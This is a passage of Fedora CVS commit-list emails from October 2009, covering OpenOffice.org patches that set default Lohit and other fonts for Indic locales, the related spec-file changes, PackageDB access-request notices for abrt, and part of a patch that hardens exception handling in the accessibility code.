+      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+        <value>Meera;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+        <value>Meera;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+    </node>
+    <node oor:name="mr-IN" oor:op="replace">
+      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Marathi;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
+      </prop>
+      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Marathi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Marathi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Marathi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Marathi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Marathi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+    </node>
     <node oor:name="or-IN" oor:op="replace">
       <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
         <value>utkal;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
@@ -925,6 +1045,26 @@
         <value>Lohit Tamil;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
       </prop>
     </node>
+    <node oor:name="te-IN" oor:op="replace">
+      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
+      </prop>
+      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+    </node>
 
     <node oor:name="ak-GH" oor:op="replace">
 	<prop oor:name="LATIN_DISPLAY" oor:type="xs:string" oor:op="replace">


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/extras/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2037
retrieving revision 1.2038
diff -u -p -r1.2037 -r1.2038
--- openoffice.org.spec	14 Oct 2009 08:07:26 -0000	1.2037
+++ openoffice.org.spec	15 Oct 2009 06:38:31 -0000	1.2038
@@ -1,6 +1,6 @@
 %define oootag OOO320
 %define ooomilestone 1
-%define rh_rpm_release 2
+%define rh_rpm_release 3
 
 # rhbz#465664 jar-repacking breaks help by reordering META-INF/MANIFEST.MF
 %define __jar_repack %{nil}
@@ -117,6 +117,7 @@ Patch43: openoffice.org-3.1.1.ooo105784.
 Patch44: workspace.dba32h.patch
 Patch45: openoffice.org-3.2.0.ooo105815.officecfg.default-font-for-si-locale.patch
 Patch46: openoffice.org-3.2.0.ooo105827.filter.xpath-on-rtf-not-allowed.patch
+Patch47: openoffice.org-3.2.0.ooo105914.officecfg.default-fonts-for-indic-locales.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1621,8 +1622,9 @@ cat %{PATCH10} >> svtools/source/dialogs
 %patch42 -p0 -b .workspace.vcl106.patch
 %patch43 -p0 -b .ooo105784.vcl.sniffscriptforsubs.patch
 %patch44 -p0 -b .workspace.dba32h.patch
-%patch45 -p0 -b .officecfg.default-font-for-si-locale.patch
+%patch45 -p0 -b .ooo105815.officecfg.default-font-for-si-locale.patch
 %patch46 -p0 -b .ooo105827.filter.xpath-on-rtf-not-allowed.patch
+%patch47 -p0 -b .ooo105914.officecfg.default-fonts-for-indic-locales.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
@@ -4123,8 +4125,12 @@ fi
     unopkg list --shared > /dev/null 2>&1 || :
 
 %changelog
+* Thu Oct 15 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-1.3-UNBUILT
+- Resolves: rhbz#529127 [Indic][Various] Default font in oowriter is
+  not Language Default (Lohit or Other), but DejaVu Sans (dtardon)
+
 * Wed Oct 14 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-1.2
-- don't link against dtrans, not needed anymore
+- don't link against dtrans, not needed anymore (caolanm)
 
 * Tue Oct 13 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-1.1
 - drop integrated autocorrection files (i102567)



From dtardon at fedoraproject.org  Thu Oct 15 06:43:31 2009
From: dtardon at fedoraproject.org (David Tardon)
Date: Thu, 15 Oct 2009 06:43:31 +0000 (UTC)
Subject: rpms/openoffice.org/F-12
	openoffice.org-3.2.0.ooo105914.officecfg.default-fonts-for-indic-locales.patch,
	NONE, 1.1 openoffice.org.spec, 1.2017, 1.2018
Message-ID: <20091015064331.8B23511C00DB@cvs1.fedora.phx.redhat.com>

Author: dtardon

Update of /cvs/extras/rpms/openoffice.org/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15894

Modified Files:
	openoffice.org.spec 
Added Files:
	openoffice.org-3.2.0.ooo105914.officecfg.default-fonts-for-indic-locales.patch 
Log Message:
Resolves: rhbz#529127 [Indic][Various] Default font in oowriter is not Language Default (Lohit or Other), but DejaVu Sans



openoffice.org-3.2.0.ooo105914.officecfg.default-fonts-for-indic-locales.patch:
 VCL.xcu |  140 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 140 insertions(+)

--- NEW FILE openoffice.org-3.2.0.ooo105914.officecfg.default-fonts-for-indic-locales.patch ---
Index: officecfg/registry/data/org/openoffice/VCL.xcu
===================================================================
--- officecfg/registry/data/org/openoffice/VCL.xcu	(revision 276736)
+++ officecfg/registry/data/org/openoffice/VCL.xcu	(working copy)
@@ -825,6 +825,46 @@
         <value>Lohit Nepali;Kalimati;Samanata;Sans</value>
       </prop>
     </node>
+    <node oor:name="as-IN" oor:op="replace">
+      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Assamese;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
+      </prop>
+      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Assamese;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Assamese;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Assamese;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Assamese;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Assamese;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+    </node>
+    <node oor:name="bn-IN" oor:op="replace">
+      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
+      </prop>
+      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+    </node>
     <node oor:name="hi-IN" oor:op="replace">
       <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
         <value>Lohit Hindi;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
@@ -865,6 +905,86 @@
         <value>Lohit Gujarati;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
       </prop>
     </node>
+    <node oor:name="kn-IN" oor:op="replace">
+      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
+      </prop>
+      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+    </node>
+    <node oor:name="mai-IN" oor:op="replace">
+      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Maithili;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
+      </prop>
+      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Maithili;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Maithili;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Maithili;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Maithili;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Maithili;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+    </node>
+    <node oor:name="ml-IN" oor:op="replace">
+      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
+        <value>Meera;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
+      </prop>
+      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+        <value>Meera;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+        <value>Meera;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+        <value>Meera;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+        <value>Meera;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+        <value>Meera;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+    </node>
+    <node oor:name="mr-IN" oor:op="replace">
+      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Marathi;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
+      </prop>
+      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Marathi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Marathi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Marathi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Marathi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Marathi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+    </node>
     <node oor:name="or-IN" oor:op="replace">
       <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
         <value>utkal;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
@@ -925,6 +1045,26 @@
         <value>Lohit Tamil;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
       </prop>
     </node>
+    <node oor:name="te-IN" oor:op="replace">
+      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
+      </prop>
+      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+    </node>
 
     <node oor:name="ak-GH" oor:op="replace">
 	<prop oor:name="LATIN_DISPLAY" oor:type="xs:string" oor:op="replace">


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/extras/rpms/openoffice.org/F-12/openoffice.org.spec,v
retrieving revision 1.2017
retrieving revision 1.2018
diff -u -p -r1.2017 -r1.2018
--- openoffice.org.spec	13 Oct 2009 06:57:02 -0000	1.2017
+++ openoffice.org.spec	15 Oct 2009 06:43:30 -0000	1.2018
@@ -165,6 +165,7 @@ Patch88: openoffice.org-3.1.1.ooo92671.v
 Patch89: openoffice.org-3.1.1.ooo105613.vcl.a11y.exceptions.patch
 Patch90: openoffice.org-3.1.1.oooXXXXXX.vcl.sniffscriptforsubs.patch
 Patch91: openoffice.org-3.2.0.ooo105815.officecfg.default-font-for-si-locale.patch
+Patch92: openoffice.org-3.2.0.ooo105914.officecfg.default-fonts-for-indic-locales.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1716,6 +1717,7 @@ cat %{PATCH11} >> svtools/source/dialogs
 %patch89 -p0 -b .ooo105613.vcl.a11y.exceptions.patch
 %patch90 -p0 -b .oooXXXXXX.vcl.sniffscriptforsubs.patch
 %patch91 -p0 -b .ooo105815.officecfg.default-font-for-si-locale.patch
+%patch92 -p0 -b .ooo105914.officecfg.default-fonts-for-indic-locales.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
@@ -4249,9 +4251,11 @@ fi
     unopkg list --shared > /dev/null 2>&1 || :
 
 %changelog
-* Tue Oct 13 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.12-UNBUILT
+* Thu Oct 15 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.12-UNBUILT
 - Resolves: rhbz#528409 [si_LK] Default font in oowriter is not
   Language Default (LKLUG), but DejaVu Sans (dtardon)
+- Resolves: rhbz#529127 [Indic][Various] Default font in oowriter is
+  not Language Default (Lohit or Other), but DejaVu Sans (dtardon)
 
 * Thu Oct 08 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.11
 - Resolves: rhbz#527177 add openoffice.org-3.1.1.ooo105613.vcl.a11y.exceptions.patch (caolanm)



From pkgdb at fedoraproject.org  Thu Oct 15 07:28:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 07:28:38 +0000
Subject: [pkgdb] abrt: kklic has requested watchbugzilla
Message-ID: <20091015072838.EDC2D10F87F@bastion2.fedora.phx.redhat.com>

kklic has requested the watchbugzilla acl on abrt (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/abrt



From pkgdb at fedoraproject.org  Thu Oct 15 07:28:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 07:28:39 +0000
Subject: [pkgdb] abrt: kklic has requested watchcommits
Message-ID: <20091015072839.EB8A910F8A3@bastion2.fedora.phx.redhat.com>

kklic has requested the watchcommits acl on abrt (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/abrt



From pkgdb at fedoraproject.org  Thu Oct 15 07:28:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 07:28:47 +0000
Subject: [pkgdb] abrt: kklic has requested commit
Message-ID: <20091015072847.29B3F10F87F@bastion2.fedora.phx.redhat.com>

kklic has requested the commit acl on abrt (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/abrt



From pkgdb at fedoraproject.org  Thu Oct 15 07:28:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 07:28:59 +0000
Subject: [pkgdb] abrt: kklic has requested watchbugzilla
Message-ID: <20091015072900.09B1410F882@bastion2.fedora.phx.redhat.com>

kklic has requested the watchbugzilla acl on abrt (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/abrt



From pkgdb at fedoraproject.org  Thu Oct 15 07:29:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 07:29:01 +0000
Subject: [pkgdb] abrt: kklic has requested watchcommits
Message-ID: <20091015072901.C06EC10F8A4@bastion2.fedora.phx.redhat.com>

kklic has requested the watchcommits acl on abrt (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/abrt



From pkgdb at fedoraproject.org  Thu Oct 15 07:29:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 07:29:03 +0000
Subject: [pkgdb] abrt: kklic has requested commit
Message-ID: <20091015072903.9B12A10F8A9@bastion2.fedora.phx.redhat.com>

kklic has requested the commit acl on abrt (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/abrt



From pkgdb at fedoraproject.org  Thu Oct 15 07:29:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 07:29:08 +0000
Subject: [pkgdb] abrt: kklic has requested watchbugzilla
Message-ID: <20091015072908.755BA10F88B@bastion2.fedora.phx.redhat.com>

kklic has requested the watchbugzilla acl on abrt (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/abrt



From pkgdb at fedoraproject.org  Thu Oct 15 07:29:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 07:29:09 +0000
Subject: [pkgdb] abrt: kklic has requested watchcommits
Message-ID: <20091015072909.4CE7E10F8B1@bastion2.fedora.phx.redhat.com>

kklic has requested the watchcommits acl on abrt (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/abrt



From pkgdb at fedoraproject.org  Thu Oct 15 07:29:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 07:29:14 +0000
Subject: [pkgdb] abrt: kklic has requested watchcommits
Message-ID: <20091015072914.2D21B10F8A9@bastion2.fedora.phx.redhat.com>

kklic has requested the watchcommits acl on abrt (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/abrt



From pkgdb at fedoraproject.org  Thu Oct 15 07:29:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 07:29:20 +0000
Subject: [pkgdb] abrt: kklic has requested watchbugzilla
Message-ID: <20091015072920.D6E3210F88B@bastion2.fedora.phx.redhat.com>

kklic has requested the watchbugzilla acl on abrt (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/abrt



From pkgdb at fedoraproject.org  Thu Oct 15 07:29:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 07:29:22 +0000
Subject: [pkgdb] abrt: kklic has requested commit
Message-ID: <20091015072922.E6AD810F8AB@bastion2.fedora.phx.redhat.com>

kklic has requested the commit acl on abrt (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/abrt



From pkgdb at fedoraproject.org  Thu Oct 15 07:29:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 07:29:27 +0000
Subject: [pkgdb] abrt: kklic has requested commit
Message-ID: <20091015072927.D194910F8AC@bastion2.fedora.phx.redhat.com>

kklic has requested the commit acl on abrt (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/abrt



From caolanm at fedoraproject.org  Thu Oct 15 08:10:08 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Thu, 15 Oct 2009 08:10:08 +0000 (UTC)
Subject: rpms/openoffice.org/F-12 workspace.vcl106.patch, NONE,
	1.1 openoffice.org.spec, 1.2018,
	1.2019 openoffice.org-3.1.1.ooo105613.vcl.a11y.exceptions.patch, 1.1, 
	NONE openoffice.org-3.1.1.ooo92671.vcl.coverageformat2.patch, 1.1,
	NONE
	openoffice.org-3.2.0.ooo105815.officecfg.default-font-for-si-locale.patch,
	1.1, NONE
	openoffice.org-3.2.0.ooo105914.officecfg.default-fonts-for-indic-locales.patch,
	1.1, NONE
Message-ID: <20091015081008.6846E11C02A2@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9462/F-12

Modified Files:
	openoffice.org.spec 
Added Files:
	workspace.vcl106.patch 
Removed Files:
	openoffice.org-3.1.1.ooo105613.vcl.a11y.exceptions.patch 
	openoffice.org-3.1.1.ooo92671.vcl.coverageformat2.patch 
	openoffice.org-3.2.0.ooo105815.officecfg.default-font-for-si-locale.patch 
	openoffice.org-3.2.0.ooo105914.officecfg.default-fonts-for-indic-locales.patch 
Log Message:
merge patches into accepted workspace

workspace.vcl106.patch:
 officecfg/registry/data/org/openoffice/VCL.xcu |  160 +++++++++++++++++++++++++
 psprint/source/fontsubset/gsub.cxx             |   10 +
 unx/gtk/a11y/atkutil.cxx                       |   13 +-
 vcl/source/glyphs/gcach_ftyp.cxx               |   11 +
 4 files changed, 187 insertions(+), 7 deletions(-)

--- NEW FILE workspace.vcl106.patch ---
--- vcl.orig/unx/gtk/a11y/atkutil.cxx	2009-10-05 08:06:01.000000000 +0100
+++ vcl/unx/gtk/a11y/atkutil.cxx	2009-10-05 08:10:07.000000000 +0100
@@ -221,7 +221,7 @@
                 if( accessibility::AccessibleStateType::FOCUSED == nState )
                     atk_wrapper_focus_tracker_notify_when_idle( getAccessible(aEvent) );
             }
-            catch(lang::IndexOutOfBoundsException e)
+            catch(const lang::IndexOutOfBoundsException &e)
             {
                 g_warning("Focused object has invalid index in parent");
             }
@@ -577,7 +577,14 @@
         if( g_aWindowList.find(pWindow) == g_aWindowList.end() )
         {
             g_aWindowList.insert(pWindow);
-            aDocumentFocusListener->attachRecursive(xAccessible, xContext, xStateSet);
+            try
+            {
+                aDocumentFocusListener->attachRecursive(xAccessible, xContext, xStateSet);
+            }
+            catch( const uno::Exception &e )
+            {
+                g_warning( "Exception caught processing focus events" );
+            }
         }
 #ifdef ENABLE_TRACING
         else
@@ -608,7 +615,7 @@
             }
         }
     }
-    catch( uno::Exception e )
+    catch( const uno::Exception &e )
     {
         g_warning( "Exception caught processing menu highlight events" );
     }
diff -ru vcl.orig/source/glyphs/gcach_ftyp.cxx vcl/source/glyphs/gcach_ftyp.cxx
--- vcl.orig/source/glyphs/gcach_ftyp.cxx	2009-09-30 09:56:24.000000000 +0100
+++ vcl/source/glyphs/gcach_ftyp.cxx	2009-09-30 14:27:39.000000000 +0100
@@ -2509,10 +2509,17 @@
                         {
                             const USHORT nGlyph0 = GetUShort( pCoverage+0 );
                             const USHORT nGlyph1 = GetUShort( pCoverage+2 );
